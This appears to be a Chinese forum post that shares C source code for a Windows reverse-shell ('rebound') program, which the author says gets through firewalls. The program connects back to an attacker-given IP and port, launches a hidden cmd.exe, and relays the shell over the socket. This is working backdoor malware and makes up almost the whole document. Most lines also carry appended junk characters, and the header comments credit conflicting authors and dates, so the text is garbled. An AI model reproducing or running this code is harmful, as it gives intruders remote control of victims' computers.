这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )S`jFQ1
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/* ============================== AoY-\E
Rebound port in Windows NT X7[^s
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By wind,2006/7 f @8mS
===============================*/ pa#d L!J
#include #u2J;9P
#include "-_fv5jL
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#pragma comment(lib,"wsock32.lib") t'9*R7=
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void OutputShell(); N03G>fZ
SOCKET sClient; R,)}>X|<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xm+8
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void main(int argc,char **argv) Nb?w|Ne(T
{ CxGx8*<X
WSADATA stWsaData; P-`M
int nRet; Q=BZ N]g2
SOCKADDR_IN stSaiClient,stSaiServer; OQ8 bI=?[x
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if(argc != 3) -yR.<KnL
{ y'FS/=u>0
printf("Useage:\n\rRebound DestIP DestPort\n"); $\b$}wy*
return; ~jK{ ,$:=
} t(GR)&>.2
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WSAStartup(MAKEWORD(2,2),&stWsaData); x? ?pBhJH
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~UyV<
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stSaiClient.sin_family = AF_INET; <Gav5Rc
stSaiClient.sin_port = htons(0); iY`%SmB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MWI4Y@1bS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )D"G3g.
{ 53,,%Ue
printf("Bind Socket Failed!\n"); Kl46CZs#8
return; FVC2 XxP
} cyHak u+
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stSaiServer.sin_family = AF_INET; &JXHDpd$a^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )- 6s7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $ )TF,-#x
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QS=$#Gp
{ ?lET45'
printf("Connect Error!"); 4MtqQq4%
return; NBg>i7KQ
} QIMv9;
OutputShell(); OJ_2z|f<
} |IcxegE
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void OutputShell() X%9xuc
{ -o!,,XYj .
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; wx"6",M
OSVERSIONINFO stOsversionInfo; #G!Adj+p5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i!d7,>l+Q~
STARTUPINFO stStartupInfo; pv m'pu78
char *szShell; 6U>jU[/
PROCESS_INFORMATION stProcessInformation; o4[2`mT
unsigned long lBytesRead; #HnyE+tD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n 8OdRv
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rIFC#Jd/
stSecurityAttributes.lpSecurityDescriptor = 0; &!YH"{b
stSecurityAttributes.bInheritHandle = TRUE; V+a%,sI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >'|xQjLl
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FTYLMQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !Ub?eJp
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ah>krE0t
stStartupInfo.wShowWindow = SW_HIDE; T4}?w
stStartupInfo.hStdInput = hReadPipe; np\Q&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ; ?lM|kK
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GetVersionEx(&stOsversionInfo); CG>2,pP,
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switch(stOsversionInfo.dwPlatformId) ^57fHlw
{ n#4J]Z@
case 1: S5
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szShell = "command.com"; 8`~3MsE"
break; s=~7m.m
default: iCSM1W3
szShell = "cmd.exe"; P_lcX;O
break; *pC-`k
} XK/@!ud"`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <$ZT]p T
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send(sClient,szMsg,77,0); _>m*`:Wb
while(1) :lQjy@J
{ ^-;Z8M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @?=)}2=|?i
if(lBytesRead) R:R@sU
{ ~0'l,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u
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send(sClient,szBuff,lBytesRead,0); %dU'$)
} #:zPpMAl
else "l,EcZRjTz
{ +}0*_VW
lBytesRead=recv(sClient,szBuff,1024,0); Tc(v\|F,
if(lBytesRead<=0) break; \q1%d.\X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2,Dc]oj
} `LU,uz
} :RO:k|g
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return; q.QYn.CBZz
}